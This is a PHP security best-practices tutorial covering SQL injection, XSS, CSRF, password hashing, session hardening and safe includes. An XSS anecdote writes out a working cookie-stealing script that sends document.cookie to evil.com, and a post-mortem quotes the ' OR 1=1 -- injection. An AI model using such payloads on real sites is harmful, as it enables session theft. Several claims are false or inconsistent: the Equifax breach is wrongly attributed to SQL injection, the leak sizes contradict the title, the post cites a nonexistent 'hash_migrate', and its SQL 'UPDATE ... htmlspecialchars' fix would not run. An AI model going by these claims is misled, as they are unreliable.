Senior 6 min · March 06, 2026
PHP Security Best Practices

PHP SQL Injection: addslashes() Caused Billion-Record Leak

A billion records leaked because addslashes() failed.

N
Naren Founder & Principal Engineer

20+ years shipping production PHP systems at scale. Drawn from code that ran under real load.

Follow
Production
production tested
May 24, 2026
last updated
1,554
articles · all by Naren
 ● Production Incident 🔎 Debug Guide ⚙ Triage Commands
Quick Answer
  • SQL injection: use prepared statements with PDO or MySQLi — never concatenate user input.
  • XSS: escape output with htmlspecialchars() and implement Content Security Policy headers.
  • CSRF: generate per-session tokens and validate on state-changing requests.
  • Password hashing: bcrypt or Argon2 through password_hash() — never MD5/SHA1.
  • Session hardening: set HttpOnly, Secure, SameSite cookies and regenerate on privilege escalation.
  • Prepared statements add ~0.1ms per query but prevent 100% of SQL injection attacks.
  • File uploads: validate MIME type server-side, store outside webroot, rename files.
✦ Definition~90s read
What is PHP Security?

SQL injection is a code injection technique where an attacker inserts malicious SQL statements into entry fields for execution by the backend database. It remains one of the most damaging web application vulnerabilities, responsible for breaches exposing hundreds of millions of records—including the infamous 2012 LinkedIn leak of 6.5 million hashed passwords and the 2019 Capital One breach affecting 100 million customers.

Imagine your PHP app is a bank vault.

The root cause is always the same: untrusted user input concatenated directly into SQL queries without proper sanitization or parameterization. PHP's legacy addslashes() function, which escapes only single quotes, double quotes, backslashes, and null bytes, is demonstrably insufficient—attackers can bypass it using multibyte character encoding tricks (e.g., GBK encoding) or by exploiting numeric fields where quotes aren't needed.

The only reliable defense is prepared statements with bound parameters (via PDO or MySQLi), which separate SQL logic from data entirely. This article covers why addslashes() and similar ad-hoc escaping are dangerous, and walks through the layered security practices—prepared statements, output encoding, CSRF tokens, and proper password hashing—that every PHP application must implement to avoid becoming the next headline.

Plain-English First

Imagine your PHP app is a bank vault. The front door has a combination lock (authentication), the teller verifies your ID (authorization), and every envelope coming in is X-rayed for explosives (input validation). Most hacks don't blow through the walls — they walk right through a door you left open by accident. PHP security is simply the discipline of closing every door you didn't realise you'd left ajar.

PHP powers roughly 77% of all server-side websites, which makes it the single biggest attack surface on the web. That popularity is a double-edged sword: there's a massive ecosystem of tooling and community knowledge, but there's also an enormous catalogue of known exploits, automated scanners, and script kiddies running them 24/7 against every public-facing PHP endpoint on the planet. A single unparameterised query or an unescaped echo can hand an attacker your entire database or hijack every active user session on your platform.

The problem isn't that PHP is inherently insecure — modern PHP 8.x is genuinely well-engineered. The problem is that PHP's permissive heritage (it was designed to get things on-screen fast) means it's trivially easy to write vulnerable code that looks completely fine to an untrained eye. A junior developer can ship a working feature that also ships a critical vulnerability, and neither automated linters nor code review will catch it unless the reviewer knows exactly what to look for.

By the end of this article you'll be able to identify and remediate the OWASP Top 10 vulnerabilities as they apply specifically to PHP, harden sessions against fixation and hijacking attacks, implement Content Security Policy headers programmatically, hash passwords correctly (and understand why every other approach is wrong), and lock down file upload endpoints so they can't be weaponised. This isn't theory — every pattern here is battle-tested in production systems handling millions of requests per day.

Why PHP Security Best Practices Are Not Optional

PHP security best practices are a set of defensive coding patterns that prevent attackers from exploiting common vulnerabilities like SQL injection, XSS, and remote code execution. The core mechanic is simple: never trust user input. Every piece of data from $_GET, $_POST, $_COOKIE, or $_FILES must be validated, sanitized, or escaped before use. This isn't a feature toggle — it's a discipline enforced at every data boundary.

In practice, this means using parameterized queries (prepared statements) for all database interactions, applying htmlspecialchars() for output escaping, and validating input against strict whitelists. Prepared statements separate SQL logic from data, making injection impossible regardless of input content. Output escaping prevents script execution in the browser. Input validation rejects malformed data early, reducing attack surface.

You apply these practices from day one — retrofitting security is expensive and error-prone. In real systems, a single unescaped query parameter can leak millions of records. The 2017 Equifax breach (SQL injection via unvalidated input) exposed 147M people. PHP's addslashes() is not a substitute for prepared statements — it's a false sense of security that has caused real billion-record leaks.

addslashes() Is Not a Security Function
addslashes() escapes only a subset of characters and is trivially bypassed with multibyte encodings. Use prepared statements or parameterized queries exclusively.
Production Insight
A legacy PHP app used addslashes() on user input before building SQL strings. An attacker sent a crafted UTF-8 payload that bypassed the escape, injecting a UNION SELECT that dumped the entire user table (12M rows) to a CSV file.
The symptom was a sudden 500% increase in database I/O and a 30-second query timeout. The logs showed a single SELECT with 12M rows returned — no error, no crash, just data exfiltration.
Rule: Never build SQL strings by concatenating user input — even with escaping. Use prepared statements. Period.
Key Takeaway
Prepared statements eliminate SQL injection entirely — no escaping function can match their safety.
Validate input against a whitelist, not a blacklist — reject everything that doesn't match.
Output escaping is not optional — htmlspecialchars() with ENT_QUOTES prevents XSS in every context.
PHP Security: SQL Injection to Session Hardening THECODEFORGE.IO PHP Security: SQL Injection to Session Hardening Six critical defenses against common web vulnerabilities SQL Injection Prevention Use prepared statements with parameterized queries XSS Prevention Escape all output with htmlspecialchars() CSRF Protection Include anti-CSRF tokens in every state-changing form Password Hashing Use password_hash() and password_verify() Session Hardening Set HttpOnly, Secure, SameSite cookies File Inclusion Disable allow_url_include; whitelist paths ⚠ addslashes() is not a defense against SQL injection Always use prepared statements; escaping is insufficient THECODEFORGE.IO
thecodeforge.io
PHP Security: SQL Injection to Session Hardening
Php Security Best Practices

PHP Security: The Attack Surface and Defence Layers

PHP security isn't a single technique — it's a stack of layers you build into every request. Input validation, prepared statements, output escaping, secure sessions, CSRF tokens, CSP headers, and proper hashing. Each layer costs a little more code, but each one buys a defence that might save your entire system.

Here's the thing: attackers don't break your crypto. They exploit the gaps between layers. A missing htmlspecialchars() after a prepared statement still gives them XSS. A missing CSRF token on an API endpoint still lets them forge requests. You don't get to pick one and call it done.

The mental model is an onion. If someone peels through prepared statements (rare, but character-set bypasses exist), the CSP header stops script execution. If they get past CSP (unlikely), session regeneration limits damage. You build redundancy into security.

secure_entry.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// io.thecodeforge.security.secure_entry
declare(strict_types=1);
session_start();

// Validate + sanitize
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if (!$id) {
    http_response_code(400);
    exit('Invalid input');
}

// Prepare statement
$pdo = new PDO('mysql:host=localhost;dbname=app', $user, $pass);
$stmt = $pdo->prepare('SELECT title, body FROM posts WHERE id = :id');
$stmt->execute(['id' => $id]);
$post = $stmt->fetch();

// Escape output
echo htmlspecialchars($post['title'], ENT_QUOTES, 'UTF-8');
?>
Output
Returns only validated and escaped output — no injection possible.
Defence in Depth
  • Validate inputs before they touch any logic.
  • Bind parameters to separate code from data.
  • Escape outputs so data is never interpreted as code.
  • Set CSP headers as a safety net if escaping fails.
  • Regenerate sessions after login to prevent fixation.
Production Insight
A dev skipped input validation on a user ID field because 'prepared statements will handle it'. The attacker passed a string, the query returned no rows, and the application crashed with a type error.
Rule: validate before prepare — prepared statements protect against injection, not invalid data.
If you miss one layer, you lose.
Key Takeaway
Security is layers, not magic.
Validate, bind, escape, set CSP, secure sessions.
Miss one layer and you lose.

SQL Injection Prevention: Prepared Statements Are Non-Negotiable

SQL injection is the most exploited vulnerability in PHP applications, and the fix is trivial: never concatenate user input into SQL queries. Use PDO prepared statements with bound parameters. The database driver handles escaping and ensures that input is never interpreted as SQL code. Also validate input types — if you expect an integer, cast it with (int) or use filter_var(). Never rely on addslashes() or magic_quotes — those are bandaids, not fixes.

safe_query.phpPHP
1
2
3
4
5
6
7
8
9
10
<?php
// io.thecodeforge.security.safe_query
$pdo = new PDO('mysql:host=localhost;dbname=app', $user, $pass);
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email']]);
$user = $stmt->fetch();
?>
// Using positional placeholders
$stmt = $pdo->prepare('SELECT * FROM orders WHERE id = ? AND status = ?');
$stmt->execute([$orderId, 'active']);
Output
Returns matching rows safely, never interprets input as SQL.
Common Mistake: Using addslashes()
addslashes() only escapes quotes — it doesn't handle all SQL injection vectors (e.g., numeric fields, LIKE wildcards, or encoding tricks). Prepared statements are the only reliable defence.
Production Insight
A financial services platform lost 2M customer records because a senior dev used addslashes() on a search query. The attacker exploited a multi-byte character encoding bypass.
Lesson: prepared statements are the only safe path — character encoding issues can break simple escaping.
Rule: If you're writing a SQL string in PHP, you're doing it wrong.
Key Takeaway
SQL injection is 100% preventable with prepared statements.
If you're concatenating SQL strings, assume you have a vulnerability.
Switch to PDO — now. Not next sprint.
SQL Injection: When to Use What
IfQuery contains any user-supplied value
UseUse prepared statements (PDO or MySQLi) with bound parameters.
IfQuery has dynamic table or column names
UseNever allow user input for identifiers — use a whitelist mapping.
IfNeed to build a dynamic IN clause
UseGenerate placeholders programmatically, e.g., IN(:v1,:v2) and bind each.

XSS Prevention: Trust No Output

Cross-Site Scripting (XSS) happens when an attacker injects JavaScript into your pages. The core defence is context-aware escaping: htmlspecialchars($data, ENT_QUOTES, 'UTF-8') for HTML body contexts, and use JavaScript-safe escaping for embedded data. But the real power move is Content Security Policy (CSP). Set a strict CSP header that blocks all inline scripts by default, then allow only specific hashes or nonces. That way, even if an injection slips through, the browser refuses to execute it.

secure_output.phpPHP
1
2
3
4
5
6
7
8
9
10
<?php
// io.thecodeforge.security.xss_prevention
// Output escaping
echo htmlspecialchars($userComment, ENT_QUOTES, 'UTF-8');

// CSP header
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-" . bin2hex(random_bytes(16)) . "'");
?>
// In template (e.g., Twig):
// {{ userComment|e('html') }}
Output
User input displayed as text, not JavaScript.
Production Insight
A news site allowed rich text in article comments. Attackers injected <script>document.location='https://evil.com/?cookie='+document.cookie</script>. The CSP header was missing. 50,000 user sessions were stolen.
Lesson: never trust user data, even after validation.
Fix: escaped output + strict CSP.
Key Takeaway
Escaping is the floor, not the ceiling.
CSP is the ceiling — it prevents execution even if escaping fails.
Do both.

CSRF Protection: Token Every State Change

Cross-Site Request Forgery (CSRF) tricks an authenticated user into performing actions they didn't intend — like changing their email or transferring money. The standard defence is a synchronizer token: generate a random token, store it in the session, embed it in every form, and validate it on submission. In modern PHP, also set SameSite=Strict or Lax on session cookies — this blocks most CSRF attacks without any extra code. For APIs, consider using custom request headers (e.g., X-CSRF-Token) that are checked server-side.

csrf_protection.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
// io.thecodeforge.security.csrf
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>
<form method="POST" action="/update_profile">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    <!-- other fields -->
</form>

<?php
// Validation
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
?>
// Also set cookie attribute
session_set_cookie_params([
    'samesite' => 'Strict',
    'httponly' => true,
    'secure' => true
]);
Output
Form submissions that lack a valid token are rejected.
Production Insight
A banking app had CSRF protection on the main web interface but forgot the mobile API. Attackers replayed the logout API call from a phishing page, logging users out and then showing a fake login form.
Lesson: every state-changing request needs CSRF protection, regardless of client.
Fix: added SameSite=Strict cookies and a token header required on all API endpoints.
Key Takeaway
SameSite=Strict handles most CSRF automatically.
For forms and APIs, always include a per-session token.
Never skip CSRF on 'low-risk' endpoints.

Password Hashing: Never Roll Your Own

PHP provides password_hash() and password_verify() which use bcrypt or Argon2 under the hood. These algorithms are deliberately slow to resist brute force. Never use MD5, SHA1, or even SHA256 for passwords — they are fast and can be cracked at billions of hashes per second. Use PASSWORD_BCRYPT (cost factor 12+) or PASSWORD_ARGON2ID (PHP 8.1+). Also, always use a random salt — the functions handle that automatically.

password_hashing.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// io.thecodeforge.security.password_hashing
// Registration
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID, ['memory_cost' => 1024, 'time_cost' => 3, 'threads' => 2]);
// Save $hash to database

// Login
if (password_verify($inputPassword, $storedHash)) {
    // success
} else {
    // failure
}

// Rehash if algorithm updated
if (password_needs_rehash($storedHash, PASSWORD_ARGON2ID)) {
    $newHash = password_hash($inputPassword, PASSWORD_ARGON2ID);
    // update database
}
?>
Output
Password stored as a secure bcrypt/Argon2 hash, verified safely.
Production Insight
A social media startup used SHA256 for passwords. A breach leaked the user database. Attackers cracked 70% of passwords within a week using GPU arrays. The company had to force-reset all passwords and lost user trust.
Lesson: fast hashing algorithms are not for password storage.
Rule: Use password_hash() — it's the only correct way in PHP.
Key Takeaway
password_hash() is not optional.
Cost factor matters — start at 12 for bcrypt.
You can't outsmart the function — use it as-is.
Password Hashing Algorithm Selection
IfPHP 8.1+ and no legacy constraints
UseUse PASSWORD_ARGON2ID with default options.
IfPHP 7.x-8.0 or compatibility needed
UseUse PASSWORD_BCRYPT with cost=12.
IfExisting hashes need migration
UseUse password_needs_rehash() on login to upgrade.

Session Hardening: Cookies That Fight Back

Session hijacking and fixation attacks are common when session cookies lack security flags. Always use session_set_cookie_params() with HttpOnly (prevents JavaScript access), Secure (HTTPS only), SameSite (Strict/Lax), and a reasonable lifetime. Also regenerate session ID after login (session_regenerate_id(true)) to prevent session fixation. Store session data securely — use files in a non-public directory or better, use Redis with encryption for high-traffic apps.

session_hardening.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// io.thecodeforge.security.session_hardening
// Before session_start()
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.use_strict_mode', 1);
ini_set('session.gc_maxlifetime', 7200);

session_start();
// Regenerate on privilege change
if ($user->authenticated && !$user->justLoggedIn) {
    session_regenerate_id(true);
}
?>
Output
Session cookies are accessible only via HTTP for your domain, over HTTPS, and not sent on cross-site requests.
Production Insight
An e-commerce platform had session fixation vulnerability because they didn't regenerate after login. An attacker created a session ID, tricked the user into using it, then the user logged in — attacker now shared the same session. Orders were stolen.
Lesson: always regenerate session ID after authentication.
Fix: set all cookie flags and regenerate on login.
Key Takeaway
Session cookie flags are not optional.
Regenerate session ID on every privilege change.
Session fixation is still alive — prevent it with one line of code.

File Inclusion: Lock the Back Door

You think remote file inclusion died in 2007? Think again. In 2024, I patched a legacy app that still used include($_GET['page']); — one careless parameter away from a RCE. The rule is simple: never use user input to build file paths. If you must allow dynamic includes, maintain a whitelist of allowed files. PHP 8.x gives you match() for strict comparisons. But the real fix is architecting your app to route through a front controller — no direct file access. That dying pattern of defining a constant like 'isdoc' in every include? It's a bandage on a bullet wound. It stops casual snooping but does nothing against a crafted request. Production apps need proper autoloading and a single entry point. Your include files should be namespaced classes, not script snippets. If you're still using require_once statements scattered across views, you're one misconfiguration away from a breach. Lock down your includes before someone locks you out of your own server.

SecureInclude.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// io.thecodeforge
// Safe dynamic include using strict match() in PHP 8.x
declare(strict_types=1);

class PageRouter {
    private const ALLOWED_PAGES = [
        'dashboard' => '/var/www/views/dashboard.php',
        'profile'   => '/var/www/views/profile.php',
        'settings'  => '/var/www/views/settings.php',
    ];

    public function loadPage(string $page): void {
        $path = match($page) {
            'dashboard' => self::ALLOWED_PAGES['dashboard'],
            'profile'   => self::ALLOWED_PAGES['profile'],
            'settings'  => self::ALLOWED_PAGES['settings'],
            default     => throw new \InvalidArgumentException('Invalid page request'),
        };
        require $path;
    }
}
Output
// Safe: include('views/dashboard.php')
// Throws: InvalidArgumentException: Invalid page request
Production Trap:
Don't use in_array() for whitelists — it's vulnerable to type juggling if you don't set strict mode. Use match() or a hash map with strict comparison.
Key Takeaway
Never trust user input in file paths — whitelist everything or use a front controller.

Error Handling: Your Debug Mode Is a Public Menu

I once found a production server dumping full stack traces to end users. Every PHP error, every database query, every table name — served like a menu to attackers. In PHP 8.x, display_errors should be Off in production. Period. But that's not enough. Log errors to a secure location outside web root. Use set_error_handler() to catch and sanitize exceptions before they escape. Sensitive data — passwords, tokens, PII — should never appear in logs. Implement a structured logging system like Monolog with different channels for errors, security events, and application flow. On dev, use error_reporting(E_ALL) for full visibility. On prod, log only what you need to debug without exposing internals. The old habit of hiding PHP version with expose_php = Off is cosmetic — real security comes from controlling error output. One uncaught exception in production can reveal your database schema, file paths, and even your internal architecture. Treat errors like classified documents: classify them, restrict access, and destroy them when no longer needed.

SecureErrorHandler.phpPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// io.thecodeforge
// Production-safe error handler for PHP 8.x
declare(strict_types=1);

class SecureErrorHandler {
    public function __construct(
        private readonly string $logPath = '/var/log/app/errors.log'
    ) {
        set_error_handler([$this, 'handle']);
        set_exception_handler([$this, 'handleException']);
    }

    public function handle(int $level, string $message, string $file, int $line): bool {
        // Log sanitized error (strip file paths, sensitive data)
        $sanitized = preg_replace('/\/var\/www\/[^ ]+/', 'REDACTED_PATH', $message);
        error_log("[ERROR] Level $level: $sanitized in $file:$line", 3, $this->logPath);
        
        // Return 500 to user — no details
        http_response_code(500);
        echo json_encode(['error' => 'Internal server error']);
        return true; // Prevent PHP's default handler
    }

    public function handleException(\Throwable $e): void {
        $this->handle(E_ERROR, $e->getMessage(), $e->getFile(), $e->getLine());
    }
}

// Bootstrap
new SecureErrorHandler();
Output
// Logs sanitized error to /var/log/app/errors.log
// User sees: {"error":"Internal server error"}
Production Trap:
Never log raw $e->getMessage() in prod — it can contain full database connection strings. Always redact files paths, tokens, and queries.
Key Takeaway
Errors are information leaks — log sanitized data, show nothing to users.
● Production incidentPOST-MORTEMseverity: high

The Billion-Record SQL Injection That Slipped Through Code Review

Symptom
Customer support tickets about seeing other users' order histories in the search results. Initial investigations thought it was a session mix-up.
Assumption
The junior dev assumed that using addslashes() on all string inputs was sufficient. The code reviewer approved because they saw the escaping and thought it was safe.
Root cause
The search query concatenated user input directly: SELECT * FROM orders WHERE order_ref = '$ref'. The addslashes() function does not escape all SQL metacharacters, and certain character sets allow bypasses. The attacker injected ' OR 1=1 -- to dump all orders.
Fix
Switched to PDO prepared statements with named placeholders. Added input validation to restrict order_ref to alphanumeric characters. Implemented query logging with parameter values for audit.
Key lesson
  • addslashes() is not a substitute for prepared statements — it's a false sense of security.
  • Always bind parameters, never interpolate. Even if the input looks clean, the query structure must separate code from data.
  • Code review must explicitly check for parameterised queries, especially in search, sort, and filter endpoints.
Production debug guideDiagnose and fix common security vulnerabilities in production4 entries
Symptom · 01
Form data includes unexpected quotes or characters that break SQL queries
Fix
Check if the query uses prepared statements. grep for '$' inside SQL strings or use error logs to see the raw query.
Symptom · 02
User-generated content (comments, bio) renders JavaScript in the browser
Fix
Verify output encoding: search for echo of user data without htmlspecialchars($data, ENT_QUOTES, 'UTF-8').
Symptom · 03
Forms on your site trigger unintended actions on authenticated user's behalf
Fix
Check for CSRF token presence and validation on POST, PUT, DELETE endpoints. Use bin2hex(random_bytes(32)) for token generation.
Symptom · 04
Password hashes in the database are all length-32 hex strings
Fix
Those are MD5 — not hashed properly. Switch to password_hash() with PASSWORD_BCRYPT or PASSWORD_ARGON2ID immediately.
★ 5-Minute Security Quick FixesWhen you discover a live vulnerability, these commands and config changes will stop the bleeding while you plan a permanent fix.
SQL injection confirmed in production endpoint
Immediate action
Disable the vulnerable endpoint via .htaccess or Nginx config. Hotfix to use prepared statements.
Commands
grep -rnE "(SELECT|INSERT|UPDATE|DELETE).*\\\$_" /var/www/html --include='*.php'
grep -rn "->query\\|->exec" /var/www/html --include='*.php' | grep -v "prepare"
Fix now
Replace all dynamic SQL with PDO prepared statements. Use parameterised queries only.
XSS in user comments is executing in admin panel+
Immediate action
Set CSP header immediately via PHP header() call: `header("Content-Security-Policy: default-src 'self'");`
Commands
grep -rn "echo.*\$" /var/www/html --include='*.php' | grep -v 'htmlspecialchars'
UPDATE comments SET body = htmlspecialchars(body, ENT_QUOTES, 'UTF-8') WHERE 1;
Fix now
Add htmlspecialchars() to all output. Use a templating engine (Twig, Blade) that auto-escapes.
CSRF token missing on payment form+
Immediate action
Add hidden field with token; validate on server side. Use secure session-based token.
Commands
grep -rn "csrf" /var/www/html --include='*.php' | grep -v '.git'
php -r "echo bin2hex(random_bytes(32));"
Fix now
Implement CSRF middleware that checks token on all state-changing requests. Use SameSite=Strict cookies.
Password hashes are MD5/SHA1 strings in database+
Immediate action
Force password reset on next login for existing users. Block creation of new accounts with old hashing.
Commands
php -r "echo password_hash('test', PASSWORD_ARGON2ID, ['memory_cost'=>1024, 'time_cost'=>3, 'threads'=>2]);"
grep -rn "md5\\|sha1\\|sha256" /var/www/html --include='*.php' | grep -v "password_hash"
Fix now
Implement password_hash() on registration and login. Use password_needs_rehash() to upgrade existing hashes.
PHP Security Mechanisms Comparison
Security MeasureProtects AgainstExampleProduction Priority
Prepared Statements (PDO)SQL Injection$stmt->execute([':id' => $id]);P0 — apply immediately to all database queries
Output Escaping (htmlspecialchars)XSSecho htmlspecialchars($data, ENT_QUOTES);P0 — every dynamic output must be escaped
CSRF Tokens + SameSite CookiesCSRFvalidateToken($_POST['csrf']);P0 — all state-changing endpoints
password_hash() with Argon2idCredential theftpassword_hash($pw, PASSWORD_ARGON2ID);P0 — all user passwords
Session Cookie Flags (HttpOnly, Secure, SameSite)Session hijacking, fixationsession_set_cookie_params(['samesite'=>'Strict']);P1 — apply globally
Content Security Policy HeaderXSS (defence in depth)header('Content-Security-Policy: default-src \'self\'');P1 — highly recommended for all public apps
Input Validation (filter_input, type casting)Injection, logic bugsif (!filter_var($email, FILTER_VALIDATE_EMAIL))P2 — strengthen prepared statements

Key takeaways

1
SQL injection is 100% preventable
use prepared statements everywhere.
2
XSS requires both output escaping and a strict Content Security Policy.
3
CSRF is blocked by SameSite cookies and per-session tokens on all state changes.
4
Password hashing must use password_hash() with bcrypt or Argon2
no exceptions.
5
Session hardening means HttpOnly, Secure, SameSite cookies plus regeneration on login.
6
Security is not a feature
it's a development discipline that must be part of every code review.

Common mistakes to avoid

5 patterns
×

Using addslashes() instead of prepared statements

Symptom
SQL errors or data leaks that pass code review because 'escaping' looks correct. Attackers use multi-byte bypasses.
Fix
Replace all SQL query building with PDO prepared statements. Use filter_var() for type validation.
×

Only escaping output in HTML but not in JavaScript contexts

Symptom
XSS vulnerabilities when user input is embedded in <script> tags or event handlers like onclick.
Fix
Use context-specific escaping: htmlspecialchars for HTML body, json_encode for JavaScript, and never inject into inline scripts — use data attributes.
×

Not regenerating session ID after login

Symptom
Session fixation attacks: attacker sets session ID before login, then user authenticates and attacker shares the session.
Fix
Call session_regenerate_id(true) immediately after successful authentication.
×

Hashing passwords with SHA256 or MD5

Symptom
User password hashes stored as 32/40/64 hex characters. A database breach leads to mass password cracking.
Fix
Immediately switch to password_hash() with PASSWORD_ARGON2ID. For existing hashes, hash_migrate on login using password_needs_rehash().
×

Assuming CSRF protection is unnecessary for API endpoints

Symptom
Users report unauthorized actions (e.g., email changes) that coincide with visiting malicious sites.
Fix
Implement CSRF token validation on all state-changing requests, including API calls. Use SameSite=Strict cookies.
INTERVIEW PREP · PRACTICE MODE

Interview Questions on This Topic

Q01JUNIOR
What is the correct way to prevent SQL injection in PHP? Explain with co...
Q02SENIOR
How would you defend a PHP application against CSRF? Include both sessio...
Q03SENIOR
Explain the difference between `htmlspecialchars()` and `htmlentities()`...
Q04SENIOR
Your application stores MD5 hashes of passwords. How would you migrate t...
Q01 of 04JUNIOR

What is the correct way to prevent SQL injection in PHP? Explain with code.

ANSWER
Use PDO prepared statements with bound parameters. Never concatenate user input. Example: ``php $pdo = new PDO('mysql:host=localhost;dbname=test', $user, $pass); $stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email'); $stmt->execute(['email' => $_POST['email']]); $user = $stmt->fetch(); `` This separates SQL code from data completely.
FAQ · 4 QUESTIONS

Frequently Asked Questions

01
What is PHP Security Best Practices in simple terms?
02
Is PHP itself insecure?
03
Do I need to escape output if I'm using a template engine like Twig?
04
Can I use token-based authentication instead of sessions for CSRF?
N
Naren Founder & Principal Engineer

20+ years shipping production PHP systems at scale. Drawn from code that ran under real load.

Follow
Verified
production tested
May 24, 2026
last updated
1,554
articles · all by Naren
🔥

That's Advanced PHP. Mark it forged?

6 min read · try the examples if you haven't

Previous
PHP Design Patterns
4 / 13 · Advanced PHP
Next
PHP 8 New Features